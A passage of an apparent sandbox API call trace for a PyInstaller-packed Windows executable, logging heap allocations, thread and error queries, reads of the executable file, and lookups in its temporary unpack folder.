0x9b0 [0075.647] GetCurrentThreadId () returned 0x9b0 [0075.647] GetCurrentThreadId () returned 0x9b0 [0075.647] GetCurrentThreadId () returned 0x9b0 [0075.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.647] GetCurrentThreadId () returned 0x9b0 [0075.647] GetCurrentThreadId () returned 0x9b0 [0075.647] GetLastError () returned 0x0 [0075.647] GetLastError () returned 0x0 [0075.647] GetLastError () returned 0x0 [0075.647] GetLastError () returned 0x0 [0075.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba80 [0075.648] GetLastError () returned 0x0 [0075.648] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8df8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.648] GetFileType (hFile=0x2f4) returned 0x1 [0075.648] GetLastError () returned 0x0 [0075.648] GetCurrentThreadId () returned 0x9b0 [0075.648] GetLastError () returned 0x0 [0075.648] GetFileType (hFile=0x2f4) returned 0x1 [0075.648] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b8e74 | out: lpFileInformation=0x9b8e74) returned 1 [0075.648] FileTimeToLocalFileTime (in: lpFileTime=0x9b8e88, lpLocalFileTime=0x9b8eb8 | out: lpLocalFileTime=0x9b8eb8) returned 1 [0075.648] FileTimeToSystemTime (in: lpFileTime=0x9b8eb8, lpSystemTime=0x9b8ea8 | out: lpSystemTime=0x9b8ea8) returned 1 [0075.648] FileTimeToLocalFileTime (in: lpFileTime=0x9b8e80, lpLocalFileTime=0x9b8eb8 | out: lpLocalFileTime=0x9b8eb8) returned 1 [0075.648] FileTimeToSystemTime (in: lpFileTime=0x9b8eb8, lpSystemTime=0x9b8ea8 | out: lpSystemTime=0x9b8ea8) returned 1 [0075.648] FileTimeToLocalFileTime (in: lpFileTime=0x9b8e78, lpLocalFileTime=0x9b8eb8 | out: lpLocalFileTime=0x9b8eb8) returned 1 [0075.648] FileTimeToSystemTime (in: lpFileTime=0x9b8eb8, lpSystemTime=0x9b8ea8 | out: lpSystemTime=0x9b8ea8) returned 1 [0075.648] GetLastError () returned 0x0 [0075.649] GetCurrentThreadId () returned 0x9b0 [0075.649] GetLastError () returned 0x0 [0075.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0075.649] GetLastError () returned 0x0 [0075.649] GetLastError () returned 0x0 [0075.649] GetCurrentThreadId () returned 0x9b0 [0075.649] GetLastError () returned 0x0 [0075.649] GetCurrentThreadId () returned 0x9b0 [0075.649] GetLastError () returned 0x0 [0075.649] GetLastError () returned 0x0 [0075.649] GetCurrentThreadId () returned 0x9b0 [0075.649] GetLastError () returned 0x0 [0075.649] GetCurrentThreadId () returned 0x9b0 [0075.649] GetCurrentThreadId () returned 0x9b0 [0075.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x51d) returned 0x33dcbe8 [0075.649] GetLastError () returned 0x0 [0075.650] GetLastError () returned 0x0 [0075.650] GetCurrentThreadId () returned 0x9b0 [0075.650] GetLastError () returned 0x0 [0075.650] GetCurrentThreadId () returned 0x9b0 [0075.650] GetLastError () returned 0x0 [0075.650] GetLastError () returned 0x0 [0075.650] GetCurrentThreadId () returned 0x9b0 [0075.650] GetLastError () returned 0x0 [0075.650] GetLastError () returned 0x0 [0075.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.650] CloseHandle (hObject=0x2f4) returned 1 [0075.650] GetLastError () returned 0x0 [0075.650] GetCurrentThreadId () returned 0x9b0 [0075.650] GetLastError () returned 0x0 [0075.650] GetLastError () returned 0x0 [0075.650] GetCurrentThreadId () returned 0x9b0 [0075.650] GetLastError () returned 0x0 [0075.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dd110 | out: hHeap=0x2ad0000) returned 1 [0075.651] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33cd990, Size=0x91c) returned 0x33cd990 [0075.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dcbe8 | out: hHeap=0x2ad0000) returned 1 [0075.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.651] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84248, Size=0x20) returned 0x3028300 [0075.651] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028300, Size=0x40) returned 0x2a192e0 [0075.651] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x64) returned 0x2a19968 [0075.651] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0f00 [0075.651] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f00, Size=0xb8) returned 0x2cde8a8 [0075.651] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde8a8, Size=0xe8) returned 0x325a7b0 [0075.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325a7b0 | out: hHeap=0x2ad0000) returned 1 [0075.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33cd990 | out: hHeap=0x2ad0000) returned 1 [0075.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f10b0 [0075.652] GetCurrentThreadId () returned 0x9b0 [0075.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.652] GetCurrentThreadId () returned 0x9b0 [0075.652] GetCurrentThreadId () returned 0x9b0 [0075.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.652] GetCurrentThreadId () returned 0x9b0 [0075.652] GetCurrentThreadId () returned 0x9b0 [0075.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.652] GetCurrentThreadId () returned 0x9b0 [0075.652] GetCurrentThreadId () returned 0x9b0 [0075.652] GetCurrentThreadId () returned 0x9b0 [0075.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.652] GetCurrentThreadId () returned 0x9b0 [0075.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33c3a38 [0075.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2930 | out: hHeap=0x2ad0000) returned 1 [0075.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x3360af0 [0075.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33c3a38 | out: hHeap=0x2ad0000) returned 1 [0075.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f1548 [0075.654] GetCurrentThreadId () returned 0x9b0 [0075.654] GetCurrentThreadId () returned 0x9b0 [0075.654] GetCurrentThreadId () returned 0x9b0 [0075.654] GetCurrentThreadId () returned 0x9b0 [0075.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdbfa8 [0075.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84248 [0075.654] GetCurrentThreadId () returned 0x9b0 [0075.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84290 [0075.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84260 [0075.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f16d0 [0075.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x33542d8 [0075.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdbfa8 | out: hHeap=0x2ad0000) returned 1 [0075.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33542d8 | out: hHeap=0x2ad0000) returned 1 [0075.654] GetCurrentThreadId () returned 0x9b0 [0075.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33c1608 [0075.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e1ce0 | out: hHeap=0x2ad0000) returned 1 [0075.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8f0 [0075.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0075.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de998 [0075.655] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de998, Size=0x14) returned 0x3183be0 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.655] GetCurrentThreadId () returned 0x9b0 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de960 [0075.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de960 | out: hHeap=0x2ad0000) returned 1 [0075.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de618 [0075.656] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de618, Size=0x14) returned 0x3183be0 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.656] GetCurrentThreadId () returned 0x9b0 [0075.657] GetCurrentThreadId () returned 0x9b0 [0075.657] GetCurrentThreadId () returned 0x9b0 [0075.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.657] GetCurrentThreadId () returned 0x9b0 [0075.657] GetCurrentThreadId () returned 0x9b0 [0075.657] GetCurrentThreadId () returned 0x9b0 [0075.657] GetCurrentThreadId () returned 0x9b0 [0075.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.657] GetCurrentThreadId () returned 0x9b0 [0075.657] GetCurrentThreadId () returned 0x9b0 [0075.657] GetLastError () returned 0x0 [0075.657] GetLastError () returned 0x0 [0075.657] GetLastError () returned 0x0 [0075.657] GetLastError () returned 0x0 [0075.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84278 | out: hHeap=0x2ad0000) returned 1 [0075.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abac0 [0075.657] GetLastError () returned 0x0 [0075.657] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8df8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.658] GetFileType (hFile=0x2f4) returned 0x1 [0075.658] GetLastError () returned 0x0 [0075.658] GetCurrentThreadId () returned 0x9b0 [0075.658] GetLastError () returned 0x0 [0075.658] GetFileType (hFile=0x2f4) returned 0x1 [0075.658] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b8e74 | out: lpFileInformation=0x9b8e74) returned 1 [0075.658] FileTimeToLocalFileTime (in: lpFileTime=0x9b8e88, lpLocalFileTime=0x9b8eb8 | out: lpLocalFileTime=0x9b8eb8) returned 1 [0075.658] FileTimeToSystemTime (in: lpFileTime=0x9b8eb8, lpSystemTime=0x9b8ea8 | out: lpSystemTime=0x9b8ea8) returned 1 [0075.658] FileTimeToLocalFileTime (in: lpFileTime=0x9b8e80, lpLocalFileTime=0x9b8eb8 | out: lpLocalFileTime=0x9b8eb8) returned 1 [0075.658] FileTimeToSystemTime (in: lpFileTime=0x9b8eb8, lpSystemTime=0x9b8ea8 | out: lpSystemTime=0x9b8ea8) returned 1 [0075.658] FileTimeToLocalFileTime (in: lpFileTime=0x9b8e78, lpLocalFileTime=0x9b8eb8 | out: lpLocalFileTime=0x9b8eb8) returned 1 [0075.658] FileTimeToSystemTime (in: lpFileTime=0x9b8eb8, lpSystemTime=0x9b8ea8 | out: lpSystemTime=0x9b8ea8) returned 1 [0075.658] GetLastError () returned 0x0 [0075.658] GetCurrentThreadId () returned 0x9b0 [0075.658] GetLastError () returned 0x0 [0075.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.659] GetLastError () returned 0x0 [0075.659] GetLastError () returned 0x0 [0075.659] GetCurrentThreadId () returned 0x9b0 [0075.659] GetLastError () returned 0x0 [0075.659] GetCurrentThreadId () returned 0x9b0 [0075.659] GetLastError () returned 0x0 [0075.659] GetLastError () returned 0x0 [0075.659] GetCurrentThreadId () returned 0x9b0 [0075.659] GetLastError () returned 0x0 [0075.659] GetCurrentThreadId () returned 0x9b0 [0075.659] GetCurrentThreadId () returned 0x9b0 [0075.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x530) returned 0x33dcbe8 [0075.659] GetLastError () returned 0x0 [0075.659] GetLastError () returned 0x0 [0075.659] GetCurrentThreadId () returned 0x9b0 [0075.659] GetLastError () returned 0x0 [0075.659] GetCurrentThreadId () returned 0x9b0 [0075.660] GetLastError () returned 0x0 [0075.660] GetLastError () returned 0x0 [0075.660] GetCurrentThreadId () returned 0x9b0 [0075.660] GetLastError () returned 0x0 [0075.660] GetLastError () returned 0x0 [0075.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.660] CloseHandle (hObject=0x2f4) returned 1 [0075.660] GetLastError () returned 0x0 [0075.660] GetCurrentThreadId () returned 0x9b0 [0075.660] GetLastError () returned 0x0 [0075.660] GetLastError () returned 0x0 [0075.660] GetCurrentThreadId () returned 0x9b0 [0075.660] GetLastError () returned 0x0 [0075.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dd120 | out: hHeap=0x2ad0000) returned 1 [0075.660] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33cd990, Size=0xa9f) returned 0x33cd990 [0075.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dcbe8 | out: hHeap=0x2ad0000) returned 1 [0075.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84278 [0075.661] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84278, Size=0x20) returned 0x3028238 [0075.661] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a19250 [0075.661] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a199d8 [0075.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x414) returned 0x33dcbe8 [0075.661] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a199d8, Size=0x8c) returned 0x2ac0ad8 [0075.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0ad8 | out: hHeap=0x2ad0000) returned 1 [0075.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33cd990 | out: hHeap=0x2ad0000) returned 1 [0075.661] GetCurrentThreadId () returned 0x9b0 [0075.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x108) returned 0x2a1a140 [0075.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaa0 [0075.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f1238 [0075.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84278 [0075.661] GetCurrentThreadId () returned 0x9b0 [0075.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.661] GetCurrentThreadId () returned 0x9b0 [0075.661] GetCurrentThreadId () returned 0x9b0 [0075.662] GetCurrentThreadId () returned 0x9b0 [0075.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8b8 [0075.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8b8 | out: hHeap=0x2ad0000) returned 1 [0075.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8b8 [0075.662] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de8b8, Size=0x14) returned 0x31838a0 [0075.662] GetCurrentThreadId () returned 0x9b0 [0075.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0075.662] GetCurrentThreadId () returned 0x9b0 [0075.662] GetCurrentThreadId () returned 0x9b0 [0075.662] GetLastError () returned 0x0 [0075.662] GetLastError () returned 0x0 [0075.662] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pycparser", lpFindFileData=0x9b8ca8 | out: lpFindFileData=0x9b8ca8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x33962f0, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x33962f0, ftLastWriteTime.dwHighDateTime=0x9b8cd8, nFileSizeHigh=0x9b8cec, nFileSizeLow=0x73013d47, dwReserved0=0x9b8ce4, dwReserved1=0x0, cFileName="\xcc\x8d\x9b", cAlternateFileName="")) returned 0xffffffff [0075.662] GetLastError () returned 0x2 [0075.662] GetLastError () returned 0x2 [0075.662] GetLastError () returned 0x2 [0075.662] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pycparser", nBufferLength=0x104, lpBuffer=0x9b8de8, lpFilePart=0x9b8c40 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pycparser", lpFilePart=0x9b8c40*="pycparser") returned 0x35 [0075.662] GetLastError () returned 0x2 [0075.663] GetLastError () returned 0x2 [0075.663] GetLastError () returned 0x2 [0075.663] GetLastError () returned 0x2 [0075.663] GetLastError () returned 0x2 [0075.663] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9b8ca8 | out: lpFindFileData=0x9b8ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bef987, dwReserved1=0x28, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x1055660 [0075.663] FileTimeToLocalFileTime (in: lpFileTime=0x9b8cbc, lpLocalFileTime=0x9b8c8c | out: lpLocalFileTime=0x9b8c8c) returned 1 [0075.663] FileTimeToSystemTime (in: lpFileTime=0x9b8c8c, lpSystemTime=0x9b8c94 | out: lpSystemTime=0x9b8c94) returned 1 [0075.663] FileTimeToLocalFileTime (in: lpFileTime=0x9b8cb4, lpLocalFileTime=0x9b8c8c | out: lpLocalFileTime=0x9b8c8c) returned 1 [0075.663] FileTimeToSystemTime (in: lpFileTime=0x9b8c8c, lpSystemTime=0x9b8c94 | out: lpSystemTime=0x9b8c94) returned 1 [0075.663] FileTimeToLocalFileTime (in: lpFileTime=0x9b8cac, lpLocalFileTime=0x9b8c8c | out: lpLocalFileTime=0x9b8c8c) returned 1 [0075.663] FileTimeToSystemTime (in: lpFileTime=0x9b8c8c, lpSystemTime=0x9b8c94 | out: lpSystemTime=0x9b8c94) returned 1 [0075.663] FindClose (in: hFindFile=0x1055660 | out: hFindFile=0x1055660) returned 1 [0075.663] GetLastError () returned 0x2 [0075.663] GetCurrentThreadId () returned 0x9b0 [0075.663] GetCurrentThreadId () returned 0x9b0 [0075.663] GetCurrentThreadId () returned 0x9b0 [0075.663] GetCurrentThreadId () returned 0x9b0 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de7a0 [0075.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7a0 | out: hHeap=0x2ad0000) returned 1 [0075.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6f8 [0075.664] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de6f8, Size=0x14) returned 0x3183be0 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.664] GetCurrentThreadId () returned 0x9b0 [0075.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.665] GetCurrentThreadId () returned 0x9b0 [0075.665] GetCurrentThreadId () returned 0x9b0 [0075.665] GetCurrentThreadId () returned 0x9b0 [0075.665] GetCurrentThreadId () returned 0x9b0 [0075.665] GetCurrentThreadId () returned 0x9b0 [0075.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.665] GetCurrentThreadId () returned 0x9b0 [0075.665] GetCurrentThreadId () returned 0x9b0 [0075.665] GetLastError () returned 0x2 [0075.665] GetLastError () returned 0x2 [0075.665] GetLastError () returned 0x2 [0075.665] GetLastError () returned 0x2 [0075.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84698 | out: hHeap=0x2ad0000) returned 1 [0075.665] RtlAllocateHeap 